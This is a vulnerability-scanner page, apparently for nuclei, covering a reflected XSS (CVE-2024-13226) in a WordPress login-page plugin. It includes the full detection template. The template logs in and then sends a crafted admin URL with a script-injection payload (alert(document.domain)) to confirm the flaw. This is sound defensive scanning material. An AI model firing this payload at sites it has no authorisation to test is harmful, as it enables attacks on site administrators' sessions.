Browse / CVEs / CVE-2024-13226
CVE-2024-13226· CWE-79
A5 Custom Login Page - Reflected XSS
A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.
Impact
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
Fix
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=clp-settings&tab=testxss"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","custom-login-page")Run it with nuclei: nuclei -id CVE-2024-13226 -u <target>
The full check
id: CVE-2024-13226
info:
name: A5 Custom Login Page - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
remediation: |
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
reference:
- https://wpscan.com/vulnerability/dd09fe99-2334-4d6f-8a70-e1cd856b1486/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13226
cwe-id: CWE-79
epss-score: 0.0061
epss-percentile: 0.4954
cpe: cpe:2.3:a:tepelstreel:a5_custom_login_page:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
publicwww-query: "/plugins/custom-login-page/"
tags: cve,cve2024,tepelstreel,custom-login-page,authenticated,wordpress,wp-plugin,wp,xss
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=clp-settings&tab=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>","custom-login-page")
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from